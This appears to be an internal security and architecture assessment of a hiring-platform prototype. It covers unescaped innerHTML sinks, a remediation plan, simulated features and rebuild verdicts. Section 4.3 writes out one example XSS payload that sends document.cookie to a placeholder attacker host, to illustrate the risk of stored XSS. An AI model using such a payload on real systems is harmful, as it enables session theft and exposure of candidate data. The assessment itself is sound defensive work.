| Candidate-controlled fields are interpolated raw into markup | js/candidates.js:68 — ${c.name}, ${c.currentTitle}, ${c.location} in one table cell |
| Inbound email bodies are interpolated raw into markup | js/inbox.js:292 — <div class="email-preview">${e.body}</div> |
| The shared primitives are themselves sinks, so every screen inherits the flaw | js/ui.js:69 (avatar initials), js/ui.js:82 (badge text), js/ui.js:87 (score chip), js/ui.js:143 (toast message), js/ui.js:190,193 (table cells) |
178 inline event handlers with interpolated values, e.g. onclick="Candidates.openProfile('${c.id}')" — data lands in executable attribute context, not just text |
counted by grep; js/candidates.js:121 |
The only escaping in the codebase is one hand-rolled, incomplete escape of the chat input — < only, not &, " or ' |
js/aiassistant.js:102 |
That last row is the most diagnostic. Somebody thought about escaping exactly once, in exactly one place, and did it partially and locally. That is the signature of an absent shared helper, and it means every one of the other 33 sites is unprotected by construction rather than by oversight.
4.2 Why it is latent today
Today every value rendered comes from js/data.js, generated in the browser by a seeded LCG from a
fixed alphabet of names, titles, companies and locations (js/data.js:9, js/data.js:20-40). There
is no path by which an attacker's bytes reach an interpolation site, because there is no input path
at all: zero network calls (_repo-findings.md §C), no <input type="file">, and the one dropzone
discards the dropped files (js/import.js:71). The single field a user can actually control is the
chat input, and that is the one place with a partial escape. So: not currently exploitable, and
not a live incident.
4.3 Why it is P0 the moment real data flows
The two primary Phase 1 intake sources are CV files and inbound email. Both are, by
definition, supplied by people outside the organisation with no obligation to be well-behaved. A CV
whose name field contains <img src=x onerror=fetch('https://attacker/'+document.cookie)>, or an
email whose subject or body contains a <script> tag, becomes stored XSS the first time a recruiter
opens the record.
graph LR
CV["CV file<br/>attacker-supplied"] --> PARSE["parser extracts<br/>name / title / location"]
MAIL["inbound email<br/>attacker-supplied"] --> FIELDS["subject / body / sender"]
PARSE --> STORE["stored as candidate<br/>and application fields"]
FIELDS --> STORE
STORE --> API["API returns JSON"]
API --> SINK["34 unescaped innerHTML sites<br/>e.g. js/inbox.js:292, js/candidates.js:68"]
SINK --> EXEC["script executes in the<br/>recruiter's authenticated session"]
The blast radius is the whole application, because there is nothing to contain it: no CSP, no
session isolation, no privilege separation, and — once authentication exists — a session that by
role can read every candidate record in the company. Worse, the highest-value screens are exactly
the untrusted-data screens: Inbox (8 sinks), Candidates, CV Import, candidate profile. The email
preview at js/inbox.js:292 renders a full message body verbatim, which is the widest single sink
in the codebase.
4.4 Why this is a rendering-layer problem, not a backend one
Escaping on write is the wrong fix and must not be adopted as a shortcut. Candidate names legitimately
contain &, ' and -; storing them HTML-encoded corrupts the data for search, export, dedupe,
email and every non-HTML consumer, and it leaves the sink unprotected against the next data source
that forgets to encode. The correct fix is contextual escaping at render time, in one place, enforced
mechanically.
4.5 Required response, in order
| # | Action | Where | Notes |
|---|---|---|---|
| 1 | Add an escaping helper (UI.esc()) and apply it at every interpolation of a data-derived value |
js/ui.js, then all 34 innerHTML sites |
Mechanical, reviewable in a diff. Junior task with a senior review checkpoint |
| 2 | Replace all 178 inline on*= handlers with delegated listeners reading data-* attributes |
21 files; pattern at js/candidates.js:121 |
Prerequisite for step 3 — CSP without unsafe-inline cannot coexist with inline handlers |
| 3 | Add a Content-Security-Policy with no unsafe-inline for scripts |
index.html, and as a header at the real server |
Defence in depth: turns a missed interpolation from execution into a console error |
| 4 | Add a CI gate that fails on a new unescaped ${ inside an HTML template literal |
CI pipeline (does not exist yet — §2.1) | Makes the guarantee survive the months of migration rather than decaying |
| 5 | Write down that real CV or mailbox data is only ever wired to the new frontend, never to the prototype | Team rule + README | The cheapest control available, and the one that actually prevents the incident |
| 6 | Eliminate the class structurally: JSX escapes by default; ban dangerouslySetInnerHTML as a CI error |
migration | Converts a per-line discipline into a property of the framework |
Estimated 2-3 developer-days for steps 1-4. Deliberately decoupled from the migration schedule, because the migration will take months and the security deadline is set by whoever next asks for a demo with real data.
4.6 One more sink worth naming
js/ui.js:143 renders toast messages via innerHTML, and toasts are called with interpolated data
throughout — e.g. UI.toast(`${cand.name} moved to ${newStage}`) at js/pipeline.js:99,
UI.toast(`${i.name} imported → ${job.title}`) at js/import.js:169, and the same pattern at
js/inbox.js:211. Any escaping pass that
covers only view templates and misses the notification path leaves a live sink behind, reachable
from ordinary recruiter actions on attacker-supplied names. Escape at the primitive, not at the
call sites.
5. Needs refactoring
Distinct from §6 (things that do not exist) and §11 (verdicts). These are things that exist, work, and are the wrong shape for what comes next.
| # | Item | Why it must change | Evidence |
|---|---|---|---|
| 1 | String-template innerHTML rendering |
Unsafe by default (§4) and structurally unable to express loading/error states (§10) | 34 sites |
| 2 | 22 ordered <script> tags, everything on window |
Load order is an unenforceable contract; any file can reach any other. This is the same big-ball-of-mud failure the backend boundary rules exist to prevent, already realised on the frontend | index.html:264-285 |
| 3 | 178 inline event handlers | Blocks CSP; puts data in executable context | grep; js/candidates.js:121 |
| 4 | Ad-hoc per-form validation across ~116 controls in 16 files | No shared schema, no server counterpart, no consistency. The complex forms are still to be written | js/jobs.js:198-202, js/offers.js:129, js/ui.js:241-249 |
| 5 | UI.dataTable client-side sort and pagination |
Sorts and paginates whatever array it is handed. At real volume the server must paginate, and the sort must be a query parameter | js/ui.js:152-239 |
| 6 | Duplicated resize handling | Two independent debounced resize handlers both re-render the current view (250ms and 220ms), so a resize can trigger two full re-renders | js/app.js:216-228 and js/app.js:272 |
| 7 | Denormalised display strings used as identity | recruiter and manager are stored as name strings on jobs and candidates, and looked up by name (DB.getRecruiterByName, and DB.candidates.find(c => c.name === f.candidate)) |
js/data.js:96,123, js/data.js:510, js/offers.js:130 |
| 8 | Hardcoded currency formatting | DB.money and DB.moneyK prepend $ unconditionally, across six jurisdictions |
js/data.js:504-505 |
| 9 | Modal focus management | No focus trap, no focus restore on close, no route-change focus move — the one gap in otherwise strong accessibility | js/ui.js:106-128 |
| 10 | External font CDN | The only third-party origin in the document; complicates CSP and adds an egress dependency for an internal HR tool | index.html:21,23 |
| 11 | .gitignore has no Node section |
Build output and node_modules/ would be committed on day one of the frontend build |
.gitignore |
6. Missing layers
Everything below is absent from the repository. This is the actual size of the greenfield work, and it is why one month cannot deliver a platform.
graph TD
subgraph HAVE["Exists today"]
UI2["Design system + UI primitives + chart engine<br/>23-screen IA"]
end
subgraph MISSING["Absent — must be built"]
API2["API layer<br/>versioned routes, schema, error envelope, pagination"]
AUTH["Authentication + session"]
AUTHZ["Authorization<br/>one decision point, scoped roles"]
VAL["Server-side validation"]
PERS["Persistence + migrations + seed"]
HIST["History + audit"]
FILES2["File storage, checksums, virus scan, retention"]
PARSE2["Document parsing (PDF/DOCX/OCR)"]
QUEUE["Durable queue + worker + job status"]
INTG["Inbound channels (Graph, portal, upload)"]
AI2["AI orchestration, run ledger, review"]
SCORE["Scoring: config versions, components, evidence"]
SEARCH["FTS + trigram search and dedupe index"]
NOTIF2["Notifications + outbound email"]
OBS["Logging, metrics, tracing, alerting"]
CFG["Config + secrets management"]
TEST["Tests + CI + containerisation"]
end
UI2 -.->|"no connection exists"| API2
| Layer | Absent evidence | Consequence for Phase 1 |
|---|---|---|
| Persistence + migrations + seed | _repo-findings.md §B |
Nothing survives a reload today. Blocks literally everything else |
| API layer (versioned routes, OpenAPI schema, error envelope, pagination, request ids) | zero network calls, repo-wide grep | The frontend has never had a network boundary (§10) |
| Authentication + session | _repo-findings.md §D |
No "current user", so no ownership, no assignment, no audit actor |
| Authorization (one decision point, scoped role assignments) | no can() anywhere; js/rbac.js:78 |
Cannot ship to 66 users with 8 role types until this exists |
| Server-side validation | js/jobs.js:198-202, js/offers.js:129 |
Client checks are bypassed by imports, integrations and direct API calls |
| History + audit | _repo-findings.md §F |
Required by the constraints; cannot be backfilled later |
| File storage, checksums, virus scanning, retention | js/import.js:71 discards files |
No CV can be stored, let alone parsed |
| Document parsing (PDF/DOCX/OCR) | no parsing code | The core intake capability. Also the primary untrusted-file attack surface |
| Durable queue, worker process, job status | setInterval fakes progress (js/import.js:101-114) |
No execution context for multi-second CPU-bound work |
| Inbound channel adapters | fabricated Outlook tab (js/data.js:309-329) |
Channel #1 depends on corporate IT for an app registration and mailbox |
| AI orchestration + run ledger + review | canned replies (js/aiassistant.js:9-90) |
Explainability, versioning and "never auto-reject" all need this boundary |
| Scoring with config versions, components and evidence | js/data.js:123 random int |
The product's central claim currently does not exist |
| Search + duplicate-detection index | Array.filter (js/app.js:130-150) |
Dedupe and candidate search share one index type |
| Notifications + outbound email | generated arrays | Every "we'll email the candidate" flow is currently a toast |
| Observability | devserver.py:27-28 suppresses logs |
An intake failure would be invisible in production |
| Config + secrets | no .env, no store |
Blocks the first real integration |
| Tests + CI + containerisation | _repo-findings.md §B |
No regression safety net for a two-person team with one reviewer |
7. Hardcoded data and simulated behaviour inventory
Everything a viewer of the running prototype would reasonably believe is real, and is not. This table exists so nobody plans against a capability that does not exist.
| What appears to work | What actually happens | Evidence |
|---|---|---|
| A populated ATS with 100 candidates, 26 jobs, 40 interviews, 48 inbox items, 20 emails, offers, assessments, tasks | All generated in-browser at load by a seeded LCG (seed = 88123), stable across reloads, existing only in memory |
js/data.js:9, js/data.js:85, js/data.js:112, js/data.js:288, js/data.js:313 |
| "Today" and every relative date | Hardcoded 2026-07-09 in at least four files. Every "3 days ago" and "due in 5 days" on every screen is wrong relative to real time |
js/data.js:54,237, js/candidates.js:18,433, js/jobboard.js:167 |
| ATS match scores with a component breakdown | int(52,98); imported CVs get literal constants for experience/education/location/salary sub-scores and reuse the same random number for skills and keywords |
js/data.js:123, js/import.js:164 |
| A second "Relevance" percentage | Blend of the random score, a matched-skill ratio and recency, computed client-side. Two different meaningless numbers for the same candidate on the same row | js/candidates.js:14-19, js/candidates.js:71 |
| CV upload, parse and progress | Dropped files are discarded (only .length is read); the queue is invented names with setInterval-driven progress and a random score |
js/import.js:71,77-114 |
| Duplicate detection at 95% similarity | Math.random() < 0.18 at upload; the 95% figure is literal prose in the modal; "Merge" fires a toast |
js/import.js:84,130-152 |
| A working Outlook mailbox | 20 generated messages with templated subjects and fabricated bodies. "Preview attachment" fires a toast | js/data.js:309-329, js/inbox.js:292, js/inbox.js:297 |
| An AI recruiting assistant | Keyword matching over the prompt returning hand-written HTML after an artificial 850-1350ms delay | js/aiassistant.js:9-90,113-116 |
| 15 AI capabilities, most in "Beta" | A hardcoded array of names, descriptions and status badges. No capability is wired to anything | js/data.js:448-465 |
| Enterprise RBAC with a save button | In-memory matrix; "Save Changes" fires a success toast; new roles are lost on reload; nothing reads the matrix | js/rbac.js:18,78,113 |
| Security controls (2FA on, audit logging on, session timeout, password policy, data retention) | Inert markup with no handlers and no persistence | js/settings.js:146-160 |
| Branding and career-portal configuration | Hardcoded values in markup; colour swatches fire a toast; "Upload" logo fires a toast | js/settings.js:121,135-142 |
| KPI cards (time-to-hire 27 days, cost-per-hire $4,280) and trend charts | Literal constants and literal arrays | js/data.js:232-233,245-247 |
| Pipeline drag-and-drop stage changes | Mutates cand.stage in place with no actor, timestamp, reason or prior value; lost on reload |
js/pipeline.js:93 |
| Job editing | Object.assign over the existing record — the previous version is gone |
js/jobs.js:210-215 |
| Job board publishing with live view/click metrics | Unshifts a row with a hardcoded date and zeroed counters | js/jobboard.js:167 |
| Salary and offer amounts | Integers with no currency; offer validation is > 0 |
js/data.js:126, js/offers.js:129, js/data.js:504-505 |
8. Architectural risks
| # | Risk | Evidence | Severity | Mitigation |
|---|---|---|---|---|
| 1 | Demo-to-reality gap. The prototype looks like a finished product across 23 screens. Stakeholders who have seen it will discount the remaining work, and §7 shows how much of what they saw is fabricated | §7 in full | High | Show §7 to stakeholders explicitly. Make capability status truthful in the UI rather than a coming-soon grid. Never demo Settings→Security or the RBAC save button as capabilities |
| 2 | The data model in the prototype is actively wrong, not merely incomplete. Copying it forward reproduces every gap the constraints forbid: no candidate/application split, no intake, no versioning, no history, scalar assignment | js/data.js:112-127, js/data.js:284-305, js/data.js:85-108, js/data.js:96,123, js/pipeline.js:93 |
High | Read js/data.js as a field list only. The structural corrections must land in Phase 1, when changing them is still cheap |
| 3 | The rendering layer cannot express asynchrony. Views are synchronous functions returning HTML strings (§10). This is not a quality complaint; it is a structural incompatibility with an API | js/app.js:26-33 |
High | Migrate the rendering layer. Do not attempt to bolt async data onto the existing view signature |
| 4 | Two frontends will coexist for 6-12 months. A fix applied to a prototype screen and not to its replacement, or vice versa, is inevitable | migration plan in _decisions.md |
Medium | Freeze the prototype after the Phase 0 patch except for security fixes; each migrated screen deletes its prototype counterpart in the same PR |
| 5 | Everything on window with 22 ordered script tags is the frontend expression of the big-ball-of-mud failure the backend boundary rules exist to prevent. There is no mechanical enforcement available today |
index.html:264-285 |
Medium | Modules + typechecking + lint boundaries in the new app. Accept the build step |
| 6 | No test or CI safety net at all, for two developers with one reviewer and no cover | _repo-findings.md §B |
Medium-high | Tests and CI in Phase 0, before feature volume makes them expensive to retrofit |
| 7 | Untrusted-file parsing is the largest new attack surface and it does not exist yet, so it can be designed safely from the start. Parser libraries over attacker-supplied PDFs and DOCX are a real RCE and resource-exhaustion surface | intake design; §2.5 | Medium-high | Timeouts, memory caps, a restricted OS user, no outbound network from the parse step, and a plan to move parsing to an isolated queue as soon as it is justified |
| 8 | Bus factor of one on everything architecturally hard, with no second reviewer | _repo-findings.md §I |
Medium | Partly mitigated already: 18 ADRs exist at adr/0001–0018 (indexed in 02 §13), which is the durable trail _decisions.md names as the primary mitigation. Two gaps remain and are the actionable part: (a) the four cross-cutting persistence patterns — versioning, history, append-only scores, money-plus-currency — have no single decision record, only ADR 0007 covering the versioning third; (b) ADR 0017 is still Proposed and is a merge blocker on migration 001, so the schema-authority ruling is written but not ratified. Plus, unchanged: pair on identity and scoring, and deliberately rotate one senior-owned module per phase to Ahmed with Talha reviewing |
| 9 | Frozen "today" hides all time-dependent bugs. With 2026-07-09 hardcoded, no timezone, DST, deadline or SLA logic has ever executed against real time |
js/data.js:237 and three other sites |
Medium | Treat all date/time behaviour as untested. Store UTC, retain wall-clock intent plus IANA zone, and test explicitly across zones |
| 10 | Scale assumptions are untested. Every screen loads the full dataset and filters in memory at 100 rows | js/candidates.js:65 (rows: DB.candidates) |
Medium | Server-side pagination, filtering and sorting from the first list endpoint. Do not port UI.dataTable's client-side behaviour |
| 11 | No deep links. Record selection is in-memory (Candidates.openProfile(id)), so no URL identifies a candidate or requisition |
js/app.js:20-23; js/candidates.js:121 |
Low-medium | URL-addressable records via public_id from the first migrated screen. Recruiters will paste links to each other on day one |
| 12 | The .docx requirements artefact is not reviewable in a diff. The architecture side of this is now closed — 18 ADRs plus documents 00–08 are Markdown in the repository — but the requirements input is still a binary blob, so a silent BRD edit is invisible to review |
docs/TalentFlow-ATS-Business-Requirements-v1.0.docx; docs/architecture/ |
Low-medium | Keep all architecture documents in Markdown in the repository (done). For the BRD: export a Markdown copy alongside the .docx and re-export on every revision, so requirement changes appear in a diff and can be traced to the requirement ids in 08-requirements-traceability.md |
9. Security concerns beyond the XSS finding
| # | Concern | Evidence | Notes |
|---|---|---|---|
| 1 | No authentication. Opening the file grants full application access | _repo-findings.md §D |
Not a vulnerability in a local static demo; total exposure the moment it is hosted anywhere reachable. Do not deploy the prototype to a shared URL |
| 2 | No authorization. No can() anywhere; the RBAC matrix gates nothing |
js/rbac.js:78,111-112 |
The matrix's shape is also inadequate: it has no notion of scope (this requisition, this department), which real recruiting authorization needs |
| 3 | Security settings assert protections that do not exist — 2FA and audit logging render as enabled | js/settings.js:148-151 |
Misleading to stakeholders and to any future auditor who is shown a screenshot |
| 4 | No CSP and no security headers | index.html; devserver.py:15-18 |
No defence in depth behind the escaping gap. Blocked on removing 178 inline handlers first |
| 5 | No audit trail mechanism | _repo-findings.md §B |
Combined with missing history, the system can answer neither "current state" durably nor "how it got there" |
| 6 | No PII classification, retention or erasure path. The Data Retention dropdown does nothing | js/settings.js:157-158 |
Classify at the column level from the first migration. Retention as pseudonymisation, so erasure can coexist with mandatory history |
| 7 | Third-party origin in the document's style context | index.html:21,23 |
Self-host the fonts. Removes the only external origin and simplifies CSP |
| 8 | No file-upload safety design — no size limits, no type validation, no checksums, no virus scanning (because there is no upload) | js/import.js:71 |
Design it correctly first time: size and MIME limits, sha256, scan before parse, parse in an isolated context |
| 9 | The prototype has no secrets and no credential handling, which is a genuine strength today | .gitignore:31-34; no .env |
Keep it that way: secrets only in a managed store, never a committed .env. There is nothing to rotate or leak at present |
| 10 | Chatbot access-control hazard is designed-in, not present. There is no assistant backend yet, so the standard mistake (a broadly privileged service account with post-hoc filtering) has not been made | js/aiassistant.js is UI-only |
Propagate the human actor's identity into the same authorization decision point the API uses. One authorization implementation, not two |
10. Can the existing frontend connect cleanly to APIs?
No. Not cleanly, and not incrementally in a way that leaves the existing views intact. The honest answer is that the presentation assets connect trivially and the rendering layer does not connect at all.
The reason is structural, and it is one line:
// js/app.js:26-33
Router.render = function (route) {
const view = (window.Views[route] || window.Views.dashboard)(); // synchronous call
const main = document.getElementById('main-content');
main.innerHTML = view.html; // full HTML string, already built
if (view.onMount) view.onMount();
};
A view is a synchronous function that returns a complete HTML string. By the time the router has
something to insert, all the data has already been read from window.DB and interpolated. There are
exactly four consequences, and each one is fatal to "just point it at the API":
- There is no await point. To fetch data you must either block (impossible — synchronous
function), or return HTML built from data you do not have yet. Every view would have to be
rewritten to render a shell first and fill it in from
onMount, which is a rewrite of the view, not a wiring change. - There are no loading states. Not "they are basic" — there is no spinner, skeleton or pending state anywhere in 4,780 lines of JavaScript. Every screen assumes its data is present and correct at render time. Under real latency, users would see structurally empty screens with no indication that anything is happening.
- There are no error states. No
catch, no error boundary, no retry, no error component. A failed request has nowhere to be displayed, so the failure mode is a silently blank region. The only handled failure in the entire codebase islocalStorageaccess wrapped intry/catch(js/app.js:64,193,198). - The data access pattern is synchronous global reads. Views call
DB.candidates,DB.getJob(id),DB.kpisdirectly, dozens of times, mid-template (js/candidates.js:65,js/app.js:87-94,js/dashboard.js). ReplacingDBwith an async client means touching every one of those reads in every view — while also introducing caching, deduplication, invalidation and refetch-on-mutate, none of which exist. Mutations today are direct array mutations (DB.candidates.unshift(...)atjs/import.js:157,cand.stage = newStageatjs/pipeline.js:93) with no server round-trip, no optimistic-update pattern and no rollback.
Two further blockers are worth naming because they are easy to miss:
UI.dataTableowns sort and pagination client-side (js/ui.js:152-239), holding the full row array in a closure. Server-side pagination inverts that contract entirely — page state becomes a query parameter and the component becomes a controlled view over a page of results.- No auth or request infrastructure exists to hang an interceptor on — no HTTP client, so no place for a token, a CSRF header, a 401 redirect, a request id or a retry policy.
What can connect cleanly
| Asset | Connects cleanly? | Why |
|---|---|---|
css/styles.css |
Yes, unchanged | Semantic class names, no coupling to the data layer or the framework |
js/charts.js |
Yes, unchanged | Pure function of (canvas, data, options); reads colours from CSS. Hand it API data instead of DB.analytics |
js/ui.js primitives |
After a port | The signatures are sound; the implementations are HTML-string builders and XSS sinks |
| 23-route IA | Yes | It is a route table and a screen inventory, not code that runs |
| The 20 view modules | No | Synchronous, string-templated, globally coupled, no async/loading/error path |
The honest recommendation
Do not attempt to wire the existing views to a real API. The work of adding an await point, a loading state, an error state, a cache and a mutation path to each of 20 string-template views is larger than rebuilding the rendering layer, and it leaves the §4 exposure in place while real data flows through it. Migrate screen by screen behind the retained design system, starting with the untrusted-data screens, and let the prototype remain a frozen demo and reference.
The one thing that must not happen is the middle path: pointing a partially hardened prototype at a real mailbox to demonstrate progress. That combines the missing error handling with the unescaped sinks and the absent authorization, in a single stroke, on the exact data that makes all three dangerous.
11. Verdicts: RETAIN / REFACTOR / REBUILD
| Component | Verdict | Reasoning |
|---|---|---|
css/styles.css (1,269 lines) |
RETAIN verbatim | The most valuable verified asset in the repository: 93 tokens, dual themes, 13 breakpoints, AA verified across 23 routes × 2 themes, semantic class names so it ports into any framework. Rebuilding costs weeks and risks regressing accessibility. Content-freeze it and git mv it |
js/charts.js (347 lines) |
RETAIN as-is | Dependency-free, seven chart types, re-themes automatically by reading CSS custom properties (js/charts.js:9). Rewriting is pure loss and would add a charting dependency. Wrap it, do not touch it |
23-route information architecture (js/app.js:7-16) |
RETAIN as an artefact | A validated UX artefact independent of the fake data. Becomes the route table and screen backlog; six routes correctly dissolve into views over other modules |
Theme behaviour (js/app.js:62-80,188-205) |
RETAIN the behaviour | "Explicit choice wins, otherwise follow the OS and keep following it" is a correct, deliberate decision. Port it as a small provider |
Accessibility standard (44px targets, aria-*, safe-area, pinch-zoom preserved) |
RETAIN the standard | Real, verified work. Make it a CI check rather than a one-off audit; add the missing focus trap/restore |
js/ui.js primitives (12 exports) |
REFACTOR | Correct vocabulary, wrong implementation: every primitive is an HTML-string builder and therefore an XSS sink. Port one-for-one to typed components keeping identical class names so the retained CSS keeps matching. dataTable's sort/paginate move server-side |
CV Import interaction design (js/import.js:22-45,130-152) |
REFACTOR the UX, REBUILD the mechanics | Dropzone → queue → per-file status → duplicate interstitial before commit is the right interaction for real intake. Every mechanic behind it is simulated (files discarded at js/import.js:71) |
index.html shell |
REFACTOR | Sidebar/topbar structure and the accessibility meta work are worth keeping; the 22 script tags and the Google Fonts CDN link (index.html:21,23) go |
js/app.js router and shell wiring |
REBUILD | 33-line hash router with no params, guards, nested routes or code splitting; no deep-linkable records; no auth guard hook. Also holds three innerHTML sinks (js/app.js:113,122,148) |
The 20 view modules (candidates, inbox, jobs, pipeline, interviews, offers, …) |
REBUILD, screen by screen | Synchronous string-template views with no async/loading/error path (§10), and the location of most of the 34 XSS sinks. Their content — fields, columns, filters, actions — is valuable input; their implementation is not |
js/data.js (512 lines) |
REBUILD as the backend; retain as a field list | Not a data model: no candidate/application split, no intake, no versioning, no history, scalar assignment, random scores, no currency, frozen dates. Its value is documenting which fields recruiters expect on screen. At most it becomes a seed fixture |
js/rbac.js (117 lines) |
REBUILD | Nothing reads the matrix; "Save" is a toast (js/rbac.js:18); new roles are lost on reload (js/rbac.js:113); the flat role × module × permission shape has no scope dimension. Real permission model first, matrix UI later as a view over real rows |
js/settings.js (193 lines) |
REBUILD / split | Inert chrome asserting protections that do not exist (js/settings.js:146-160). Splits into identity concerns and configuration concerns, with an admin back-office as the initial UI so this screen need not be rebuilt early |
js/aiassistant.js canned replies (AI._reply, lines 9-90) |
REBUILD — delete outright | Keyword matching returning hand-written HTML with artificial latency. The chat UI shell (dock, streaming-ready message list, prompt chips) is worth keeping as a shape; AI._reply must not survive contact with a real model, and its own escaping is partial (js/aiassistant.js:102) |
devserver.py (36 lines) |
RETAIN for now, DROP at migration | Does one job well (defeats the stdlib server's one-second Last-Modified granularity). Superseded by the frontend dev server; delete with the prototype |
.claude/launch.json |
RETAIN | Harmless local convenience; correctly gitignored |
.gitignore |
REFACTOR | Add Node and build-output sections before the first package.json. Note its Python section is weak evidence of stack intent and must not be cited as one |
.backup-prebrand/ (817-line older stylesheet + old JS) |
DROP | Dead weight in the working tree, invisible to review because it is gitignored. Git history is the mechanism for this |
docs/TalentFlow-ATS-Business-Requirements-v1.0.docx |
RETAIN as input | The only requirements artefact in the repository. Not diffable — keep architecture documents in Markdown alongside it |
Tests, CI, Docker, migrations, .env, backend, database, auth |
BUILD (nothing exists to retain, refactor or rebuild) | _repo-findings.md §B. Entirely additive, so it can be shaped correctly from the start — which is the one genuine advantage of this starting position |
12. Assumptions and consistency notes
Explicitly labelled as required.
Assumptions made in this document:
- Assumption: the WCAG 2.1 AA verification cited in
_repo-findings.md§G (23 routes × 2 themes, 8,459 text nodes, 0 failures) was performed as described. It is not reproducible from the repository because no test harness exists, and the audit helper (.audit.js) is gitignored and dev-only. Recommendation: re-establish it as a CI check so the claim stays true. - Assumption: the prototype has never been pointed at real candidate data. Nothing in the repository could prove otherwise either way, and the whole dataset is in-memory. If it has, §4 moves from latent to an incident to be investigated.
- Assumption:
.backup-prebrand/is a pre-rebrand snapshot with no unique content worth keeping. Verified only by line count and file names, not by diff. - Assumption: the 23 routes represent the intended screen scope of the platform. They were built as a UX artefact; nothing in the repository confirms business sign-off on the inventory.
Measurement notes (minor, for implementers who will re-derive these numbers):
_repo-findings.md§F originally citedjs/data.js:126for the randomaiScore— the single most-quoted repository fact in this package, repeated at roughly 26 sites. As inspected,aiScore: int(52, 98)is atjs/data.js:123andsalary: int(90,190)*1000is atjs/data.js:126; both sit inside the same candidate object literal atjs/data.js:117-127, so one anchor was doing duty for two different claims and only the money one was right._repo-findings.md§F now cites:123for the score and keeps:126for the money, and every downstream quotation of the score has been moved to:123while every quotation of the money stays at:126. The finding is unchanged._repo-findings.md§F originally citedjs/data.js:99andjs/data.js:124for the scalar recruiter assignment. As inspected,recruiter: rec.name, recruiterId: rec.idon the job is atjs/data.js:96andrecruiter: job.recruiter, recruiterId: job.recruiterIdon the candidate is atjs/data.js:123—:99is the job'ssalaryMin/salaryMaxline and:124isapplied/education. Both have been corrected in §F and downstream. Note that:99remains the correct anchor for the job salary range, so this correction is claim-specific, not a blanket substitution. The finding is unchanged.- Four further anchors were off by one in the same way and have been corrected package-wide, each
claim-specific because the wrong line was a legitimate anchor for a different claim:
the
JOB-reference code:94→:95(:94isjobs.push({); theAPP-reference code:297→:298(:297isinbox.push({, andresumeStatusis at:300); candidate experience-in-years:122→:121(:122islocation/stage/status, which several documents cite correctly for the stage-as-string finding); and the job salary range:100→:99(:100iseducation/skills/benefits, cited correctly elsewhere for the plain-skills-array finding). No claim changed; only the anchors did. _repo-findings.md§C originally citedindex.html:262-286and "24<script>tags", and §A originally gavejs/as "24 files, ~5,900 lines". As measured:ls js/returns 22 files,wc -l js/*.jstotals 4,779 lines, andgrep -c '<script' index.htmlreturns 22, atindex.html:264-285(:262is<div class="scrim">,:286is</body>). Both counts and both ends of the range were wrong;_repo-findings.md§A, §C and §H have been corrected to 22 files / ~4,780 lines / 22 tags /index.html:264-285, and this document,_decisions.mdand the ADRs use the corrected figures. The architectural finding is unchanged — 22 ordered global scripts with everything onwindowmake exactly the same point as 24._decisions.mdPart 1 originally describedcss/styles.cssas having "424 custom-property declarations". As measured, the file contains 159 custom-property declarations (57 in:root, 41 in the[data-theme="dark"]block, the remainder inline on components), 93 distinct token names and 470var(--…)references. No count in the file reproduces 424. The architectural conclusion — that this is a substantial, verified, brand-compliant token system worth retaining verbatim — is unaffected; only the figure was wrong, and it has now been corrected at the three places it was quoted (_decisions.mdPart 1 summary and frontend decision,00§6 row 6, andadr/0013), each pointing back to this measurement.
Consistency with _decisions.md: this assessment agrees with every architectural conclusion in
that file — retain the CSS and chart engine, port the primitives, rebuild the rendering layer,
Phase 0 hardening before migration, greenfield backend with one database, and no separate AI
service. Two tensions in _decisions.md are noted here as risks rather than diverged from, per its
own instruction:
- Migration tooling contradicts itself between Part 1 and Part 2. Part 1 selects Django partly
because "migrations are built in" and mandates a
makemigrations --checkCI gate; Part 2 mandates "ordered, up-only plain-SQL migration files underdb/migrations", states "the ORM, if any, maps to the schema; it never generates it", and explicitly rejects "ORM-first migrations (Django/Prisma/TypeORM autogenerate)". These cannot both hold. Settled since this assessment was first written, byadr/0017-plain-sql-migrations-as-schema-authority.md(canonical text quoted in02§12.4; stillProposed, and a merge blocker on migration001): plain SQL underdb/migrations/is the authority, every Django migration isSeparateDatabaseAndState(RunSQL + state_operations)so Django supplies only ordering and the applied-state ledger,managed = Trueon every model, and drift is caught by two gates —makemigrations --checkfor models-versus-state, plus apg_dumpand catalogue diff for the triggers, columnGRANTs, partitions and generated columns no ORM can express. Note that themanaged = Falsevariant this assessment originally floated is explicitly rejected there, because it would remove exactly the invariant-bearing tables from the only gate watching them. The related detail still holds and is handled: the chosen queue library ships its own Django-managed migrations, and they are named indb/schema-ignore.tomlexplicitly rather than omitted. - Entity naming diverges between the two parts — Part 1's
InboundSubmission/SubmissionAttachment/ProcessingAttemptare Part 2'sraw_intake/raw_intake_attachment/intake_parse_attempt, and Part 1'sMergeOperationis Part 2'scandidate_merge_operation. Same design, two vocabularies. Pick one before the schema document is written, or the API and the database will disagree in the code review that matters least and confuses most.
A third, smaller one: Part 1's deployment topology provisions PostgreSQL with "pgvector and
pg_trgm enabled", while Part 2 lists pgvector as "Phase 2 only". Enabling an extension early is
harmless; using it in Phase 1 is not. Worth one clarifying line so nobody reads the topology section
as licence to build semantic search in Phase 1.